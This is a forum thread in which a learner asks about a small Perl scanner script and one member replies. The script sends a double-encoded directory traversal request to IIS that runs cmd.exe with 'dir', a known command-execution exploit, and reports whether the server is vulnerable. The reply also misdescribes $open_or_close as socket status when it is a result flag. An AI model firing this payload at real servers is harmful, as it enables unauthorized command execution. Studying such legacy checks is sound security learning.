how to write a vulnerability scanner scanner with Perl?
ProgrammingThis forum is for all programming questions.
The question does not have to be directly related to Linux and any language is fair game.
Notices
Welcome to LinuxQuestions.org, a friendly and active Linux Community.
You are currently viewing LQ as a guest. By joining our community you will have the ability to post topics, receive our newsletter, use the advanced search, subscribe to threads and access many other special features. Registration is quick, simple and absolutely free. Join our community today!
Note that registered members see fewer ads, and ContentLink is completely disabled once you log in.
If you have any problems with the registration process or your account login, please contact us. If you need to reset your password, click here.
Having a problem logging in? Please visit this page to clear all LQ-related cookies.
Get a virtual cloud desktop with the Linux distro that you want in less than five minutes with Shells! With over 10 pre-installed distros to choose from, the worry-free installation life is here! Whether you are a digital nomad or just looking for flexibility, Shells can put your Linux machine on the device that you want to use.
Exclusive for LQ members, get up to 45% off per month. Click here for more info.
how to write a vulnerability scanner scanner with Perl?
Here is the source code below:
and my question is about line 9,what does 'SnC4x8' and the fuction pack() mean ?
line 18 what does $open_or_close mean?
besides,anyone could recommend me some infos to get to know more about vul,and how to write it with perl?
<1 #!/Perl/bin/Perl -w
<2 use strict;
<3 my $port=80;
<4 my $PF_INET=2;
<5 my $SOCK_STREAM=1;
<6 my $proto=getprotobyname("tcp");
<7 my $open_or_close;
<8 $|=1;
<9 my $addres=pack('SnC4x8',$PF_INET,$port,127,0,0,1);
<10 socket (SOCKET,$PF_INET,$SOCK_STREAM,$proto) or die "can't socket";
<11 connect (SOCKET,$addres) or die "can't link";
<12 send (SOCKET,"GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/
c+dir HTTP/1.0\n\n",0);
<13 while(<SOCKET>) {
<14 if (m/Directory/){
<15 $open_or_close=1;
<16 }
<17 }
<18 if ($open_or_close eq "1") {
<19 print "This IIS have the vul\n";
<20 }else{
<21 print "This IIS doesn't have the vul\n";
<21 }
as for open_or_close, that's just a parameter apparently being used to hold the status of the socket, whether it's open or not.
knowing a little about perl has nothing to do with writing a scanner in fact the two have nothing in common. you have on one side knowledge of coding in perl, and on the other on what a vuln is and how to implement them in theory. combining the two is arbitrary, as long as the language of choice. so split out these two if you expect to succeed here.
LinuxQuestions.org is looking for people interested in writing
Editorials, Articles, Reviews, and more. If you'd like to contribute
content, let us know.